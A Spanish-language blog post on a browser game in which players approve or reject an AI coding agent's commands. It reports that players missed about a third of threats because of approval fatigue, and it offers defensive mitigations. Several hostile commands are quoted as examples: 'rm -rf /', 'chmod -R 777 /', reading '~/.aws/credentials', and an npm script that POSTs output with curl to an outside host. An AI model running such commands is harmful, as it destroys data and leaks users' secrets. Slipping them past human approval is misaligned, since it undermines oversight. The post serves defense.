El humano es el eslabón más débil de tu AI agent: 1 de cada 3 amenazas pasan coladas

El humano es el eslabón más débil de tu AI agent: 1 de cada 3 amenazas pasan coladas

El humano es el eslabón más débil de tu AI agent: 1 de cada 3 amenazas pasan coladas

Un jueguito de browser que te deja mal parado

Alex Wauters, ex-Staff Engineer de Uber, armó un juego de browser donde tú eres el human-in-the-loop de un AI coding agent. El agente te pide aprobar comandos bajo presión de tiempo. Algunos son inofensivos (git status, npm test). Otros son un desastre: exfiltración de credenciales, inyección de cron, rm -rf /. Lo jugaron más de 40.000 personas y los resultados son un balde de agua fría.

El número que debería quitarte el sueño

La precisión promedio fue de 66.3%. En cristiano: 1 de cada 3 amenazas fue aprobada. No es que la gente sea descuidada — es que el modelo de aprobar comandos uno por uno simplemente no escala. El 32.9% de las sesiones terminaron con puntaje negativo: las penalizaciones por aprobar amenazas y rechazar comandos seguros superaron todo lo que hicieron bien.

Lo más preocupante es el desglose por categoría. Los comandos obviamente destructivos (rm -rf /, chmod -R 777 /) los pillaron el 88.3% de las veces. Pero los que exfiltran credencialescurl a APIs desconocidas, paquetes con typosquatting— tuvieron una tasa de fallo del 33.4%. Los de robo de scope (cat ~/.aws/credentials) fallaron el 35%. O sea, las amenazas que de verdad te vacían las cuentas de AWS son las que menos detectamos.

El punto ciego de npm run

El comando más aprobado del juego fue npm run analyze: el 64.7% dijo que sí. Suena inofensivo, ¿cierto? El problema es que npm run ejecuta lo que esté definido en el package.json. Y en el juego, el script «analyze» hacía esto:

webpack-bundle-analyzer stats.json | curl -s -X POST https://api.bundle.track/report -d @-

El historial del agente mostraba explícitamente el payload malicioso justo arriba del prompt de aprobación. Dos tercios de los jugadores lo aprobaron igual. Esto no es un bug — es fatiga de permisos. Cuando ves 50 comandos seguidos que son seguros, el cerebro simplemente deja de leer.

Fatiga de permisos: Anthropic ya lo advirtió

Anthropic lo dijo clarito en su documentación de Claude Code: «cuantos más approvals ve un usuario, menos atención le pone a cada uno, volviéndose mucho menos diligente con el tiempo». Lo viví en carne propia. En Tokio, mi VPS de producción, uso Claude Code y Codex a diario. Después de la décima aprobación de git diff o ls -la, ya ni lees. Das Enter y confías. Y ahí está la ventana para un curl silencioso que se lleva tus tokens de API.

El juego también mostró que la tasa de error empeora hacia el final de la sesión. Los jugadores mejoran en los primeros comandos (calentando), pero después la curva se invierte y empiezan a fallar más. El reloj corriendo + fatiga cognitiva = desastre.

Qué puedes hacer hoy

No todo es pesimismo. Hay mitigaciones concretas que aplico en mis propios entornos:

Sandboxing real. No basta con pedir confirmación. El agente debe correr en un entorno aislado donde no tenga acceso a tus variables de entorno ni a ~/.aws. Docker, Firecracker, o al menos un usuario dedicado sin privilegios.

Separar credenciales del shell. Si exportas OPENAI_API_KEY en tu .zshrc, cualquier agente que haga cat ~/.zshrc ya la tiene. Usa un archivo separado con permisos restringidos o un gestor de secretos.

No confiar en nombres de comandos familiares. npm run build no es inocente. pip install tampoco. Si el agente pudo modificar archivos antes, cualquier comando «conocido» puede ser una puerta trasera.

El human-in-the-loop no va a desaparecer, pero tratarlo como única línea de defensa es una receta para el desastre. La combinación de sandboxing + permisos granulares + monitoreo es el mínimo aceptable si vas a dejar que un agente toque tu código de producción.

Si quieres probar qué tan bien (o mal) detectas amenazas, el juego está en llmgame.scalex.dev. Te advierto: duele.

Fuente de inspiración: Humans missed 1 in 3 threats approving AI agent commands across 40,000 plays

Comentarios

Aún no hay comentarios. ¿Por qué no comienzas el debate?

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *